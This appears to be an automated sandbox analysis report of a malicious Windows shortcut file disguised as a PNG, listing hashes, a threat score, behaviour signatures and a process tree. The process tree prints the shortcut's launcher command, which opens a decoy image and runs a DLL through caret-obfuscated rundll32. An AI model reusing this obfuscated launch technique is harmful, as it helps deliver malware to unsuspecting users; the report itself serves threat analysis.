Analysis

  • max time kernel
    148s
  • max time network
    173s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-09-2022 16:40

General

  • Target

    demoscan-130722.31825.png.lnk

  • Size

    1KB

  • MD5

    94becc82bec4b426037f84299cf26513

  • SHA1

    c10372b5620ca781e45223beb28523a6ab393d3a

  • SHA256

    8f3a28d2fb7c2ec67f083194a9c44edef94c20c1d5b10e2d0e45385c5f7b542f

  • SHA512

    f7e86bb9ccfdf0651ba13738226ba222a74acec35a578aa7a297a54ab23aaccc3d241259fb495c3aca50b076fb12c017e314761b220f0ce4e0dd466fe72472d8

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\demoscan-130722.31825.png.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2508
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "start Eh7rlR3b.png && start r^un^dl^l3^2 lxLoqZul.d^l^l, #1"
      2⤵
        PID:1320

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1320-133-0x0000000000000000-mapping.dmp